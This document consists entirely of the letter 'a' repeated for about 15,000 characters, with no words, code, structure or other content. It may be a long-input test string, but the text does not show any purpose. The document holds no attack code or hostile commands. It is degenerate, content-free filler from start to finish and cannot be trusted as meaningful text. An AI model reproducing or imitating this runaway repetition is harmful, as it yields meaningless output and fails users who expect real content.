aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa